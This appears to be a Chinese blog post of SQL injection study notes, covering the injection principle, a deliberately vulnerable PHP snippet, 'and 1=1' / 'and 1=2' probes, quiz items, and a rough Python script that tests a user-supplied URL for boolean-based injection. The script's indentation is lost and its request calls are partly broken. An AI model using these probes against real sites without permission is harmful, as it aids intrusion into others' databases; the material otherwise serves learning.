首页 > 技术文章 > python 打造一个sql注入脚本 (一)

haq5201314 2018-03-18 14:44 原文

0x00前言:

昨天刚刚看完小迪老师的sql注入篇的第一章

所以有了新的笔记。

0x01笔记:

 

sql注入原理:
网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作。
sql注入对渗透的作用:
获取数据
sql注入特性:
攻击方法由数据库类型决定
攻击结果由数据库决定

漏洞代码:
sql.php
<?php
$id=$_GET['x'];
$sql="select * from news where id=$x";
还没完
?>

当我们在网页执行访问了:
http://127.0.0.1/sql.php?x=1
在数据库其实是这样的
$id=1
select * from news where id=1 



注入语句

http://127.0.0.1/sql.php?x=1 and 1=1 真
select * from news where id=1 and 1=1
返回正常页面

http://127.0.0.1/sql.php?x=1 and 1=2 假
select * from news whsere id=1 and 1=2
返回错误页面

and or xor
且    或 非
sql语句中逻辑运算符:
and 1=1 真且真=真
or 1=2 真或假=真 
and 1=2 真且假=假


sql注入拓展深入部分:
sql注入能调用数据库作的动作(例如:文件读写,调用执行等)


php一些sql的函数:
mysql_connect(); mysql连接函数
mysql_select_db(); 选择对应数据库
mysql_query(); mysql执行函数

sql注入产生的必备条件:
1.变量接受    判断变量是否接受了:打开一个有id的站修改id看看页面会不会变化,如果变化了就代表变量接受。如果没变化,就代表变量不接受。

2.带入数据库查询执行 判断是否带入数据库查询执行:打开一个有id的站修改id看看页面会不会变化,如果变化了就代表带入了数据查询执行。如果没变化,是没带入数据库查询执行的也就是说页面是不会变动的。

3.不存在过滤(可尝试绕过)


题目:
1.请从下面站点地址选择可能存在注入的选项(BCD)

	1. www.dikesec.com/news.php
	2. www.dikesec.com/news.php?id=1
	3. www.dikesec.com/news.php?id=1&page=2
	4. www.dikesec.com/login.php

注入代码前面必须空一个格
2.参数page存在注入,请问下面注入测试正确的是(AC)
A.www.dikesec.com/news.php?id=1&page=1 and 1=1
B. www.dikesec.com/news.php?page=1&id=1 and 1=1
C. www.dikesec.com/news.php?page=1 and 1=1 &id=1

www.dikesec.com/news.php?page=1&id=1 如果page是注入点
就要在page后面空一格加注入代码,而不是在后面加

在我们放入sqlmap进行sql扫描的的时候必须理清楚哪里是注入点,如果page是注入点的话我们得这样
www.dikesec.com/news.php?id=1&page=1
这样就可以放到工具里扫了

例子:
http://www.gdgy33.com/page.php?id=150&aid=3&bid=1
假设id存在注入我们得移到后面去

变成这样子
http://www.gdgy33.com/page.php?bid=1&aid=3&id=150
不会影响页面的


post注入:
假设有个表单让你进行注入。因为表单的条件方式都是POST。在表单里输入恶意代码也会产生注入点

cookie注入:
把恶意代码带到cookie后面。

  0x02初步:

今天是我们学习sql注入的第一天,就先写判断注入的脚本吧。后面慢慢加上去

import  requests
import socket
import time

logo="""
___====-_ _-====___
_--^^^#####// \\#####^^^--_
_-^##########// ( ) \\##########^-_
-############// |\^^/| \\############-
_/############// (@::@) \\############\_
/#############(( \\// ))#############\
-###############\\ (oo) //###############-
-#################\\ / VV \ //#################-
-###################\\/ \//###################-
_#/|##########/\######( /\ )######/\##########|\#_
|/ |#/\#/\#/\/ \#/\##\ | | /##/\#/ \/\#/\#/\#| \|
` |/ V V ` V \#\| | | |/#/ V ' V V \| '
` ` ` ` / | | | | \ ' ' ' '
( | | | | )
__\ | | | | /__
(vvv(VVV)(VVV)vvv)
"""
print(logo)
def sql():
global url
url=input('[^]Please enter the URL that needs test injection:').lower()
if url !=None:
time.sleep(0.5)
header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36'}
print('[1]GET')
print('[2]POST')
lwd=input('[^]Please enter what kind of method you want to ask for:')
if lwd=="1":
r=requests.get(url,header)
status=r.status_code
if status == 200:
print('\033[1;32;40m')
print('[^]Link stability')
print('\033[0m')
else:
print('\033[1;31;40m')
print('[~]State code',status)
print('[^]Response code')
print('\033[0m')
exit()
elif lwd=="2":
r=requests.post(url,header)
status=r.status_code
if status == 200:
print('\033[1;32;40m')
print('[^]Link stability')
print('\033[0m')
else:
print('\033[1;31;40m')
print('[~]State code', status)
print('[^]Response code')
print('\033[0m')
exit()
else:
print('[~]Not Found')
exit()
sql()

def zhuru():
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36'}
url1=url+'%20and%201=1'
url2=url+'%20and%201=2'
zhusx=requests.get(url,headers).content
zhus=requests.get(url1,headers).content
zhuss=requests.get(url2,headers).content
if zhusx == zhus and zhusx !=zhuss:
print('[^]Discovery of injection point')
else:
print('[~]No injection point was found')
exit()

zhuru()

 运行截图:

 

推荐阅读